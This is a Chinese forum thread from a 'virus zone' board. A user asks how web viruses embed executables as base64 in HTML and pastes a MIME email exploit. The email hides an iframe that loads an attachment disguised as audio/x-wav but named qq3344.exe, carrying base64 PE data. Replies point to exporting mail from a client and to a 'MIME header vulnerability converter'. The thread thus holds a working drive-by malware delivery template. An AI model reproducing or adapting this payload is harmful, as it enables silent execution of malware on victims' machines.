论坛: 病毒专区 标题: 请问如何把一个EXE文件用base64编码放到网页里? 复制本贴地址    
作者: vtian [vtian]    论坛用户   登录
见到一些网页病毒经常把可执行代码用BASE64编码放入HTML,就像下边的例子,请问是怎么实现的?
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="

--====B====
Content-Type: multipart/alternative;
boundary="====A===="

--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe>
--====A====--

--====B====
Content-Type: audio/x-wav;
name="qq3344.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
NkJOhBJA73s/BGogQnZDsjPySdgQaNsaSNnb2drHdC6bdKpbY2m2jtluy5ZUmtjSYhbZWm2z
VKs1s1o7S0NuG2labaUnvnfe9nvekSdktdS1y1FzN3Mh/Dd2Rd25ILbewfzINbewGgRW6ToC
EhikyAJMgtTIJpMBWmQgpkE2mQ/DMAVmApDBKjiDuuX845bt17m7/Pf///2d85z7znPvPPOe
ee/jz32ZMk9+8+c+8+c4B1HsjP69MZAuDh3GBRVQ1xIZG2JvXcuHyS4geTYzqz6IOlRx6j2d
FZPZsSWyczwMLS+ROt0eIBWD+VvMaU1YOpa6mQ5eDUmmNa8MkRfnaKrirpAfwhjIPrMRGLcd
YPbB/QRQr+9xps/NB2jjgMCXGi3FXqbDETrXkBySJK6uoR8MyHZDJ329wiqjIl3X0yEOnuzq
seVpNPlot49Fm4ezQl75aVRHDvXI5Ind65kJkwEDC+x5yF9/xMiCT7mIvXJKGe9oUO3X+ORG
n+viL40hPkrMLTY8+w9chvB1iKmN1h1j3I7TvYHePCDfq6gPnxwF9ahBJXS3vlNVCccK/bCT
eoCSsGOPdAwUaIqQCoVUOpwyuBlBzIKjvwfCguQPeHOUB8QHoKsHWAcaCkcAHZgXcHwvQh19
VD9ID4hz5QNwk45/MkKVkOm1k3AA3IHKR8/mwoZVw7KD3iwHzYKEQD8+CqArYPRAagfwAq9Y
D+OC/gTEUb0dmWA4mtBsJ7z574BGF3QkHypH+3cg93BunAh0k9vgK8BcrYfFrQdSWw1kFgBw
pxzB6wHtgMtcD4oFUrodaBWwMBz2oKHJoxHnoF17WdxCGhUhejzDJwOhgaXYh6rEjmJbxFoR
UEeBKSJdhCIj6I8iWsQsI6iUoQaboxpKyKdNXASvwbgJR+tE3pRr6mwamJfxLyI9CD8VrOJe
xL6JdRFnMBxRK9kIN8EYBErFIoCJol8EWBH+DHQacI9iKQjubyBaYJfhLcJACXERdEtojsIE
JeOnoN0ETxG8R+EVcwJii4iFBLSJdwFbTvcPvIzi0rvZVA9+G62Vv1bYwfG9kt8dvXynn5nz
qr6P7cGQyd9OrdFItjUzMbEWqITaxpdDjOmwr6gwZwijA0P4iT69WdfatDtZHpb4D5m57/6f
fbc61fib08ufyf6yl736u8eo/vsnwKN7gcF7IKxfC/dCwnFUEs6NSwbgFWGpsaJJiWM+yUgY
FVwt75MdGrOWh3IjsxYMB2XrhGXdYmpmW9zUMUKOFhP23D6b2L5pSoQJ/xn/vi/cxkE/U8f6
57nZTOz7nYPY6yK4Y6WYPYydr/757/TyZyU7wdi765z/93JVPYPfmY3j/pTJTM8e4MaHcwwb
Qjhg/OfloaZXCU7waebDBlw6Pg9nT1YH/VzeBT64PwYR9DwX+D6Upysnt6gwnaP8x/YP8x/Y
P9U/xSHQj/FKbYS1vYuwfvZH/N+8A/wH94/wH94/wYHCbWDrfA0n/L85uIEwG8g9CD0oIGlb
U3tQCqapKo4IZCrO5B+jHBrEbyTAjN5hhlCCXWVoY2xDyiJN5SUT3jncGqaUiNSIeRj18ksc
AA=


--====B====




--====B====


地主 发表时间: 05/01 01:17

回复: ma2751_cn [ma2751_cn]      登录
先用邮件客户端写个邮件,导出不就有代码咯~~

B1层 发表时间: 05/02 03:38

回复: lyp9895 [lyp9895]   论坛用户   登录
下载一个MIME头漏洞转换器

B2层 发表时间: 07/22 10:58

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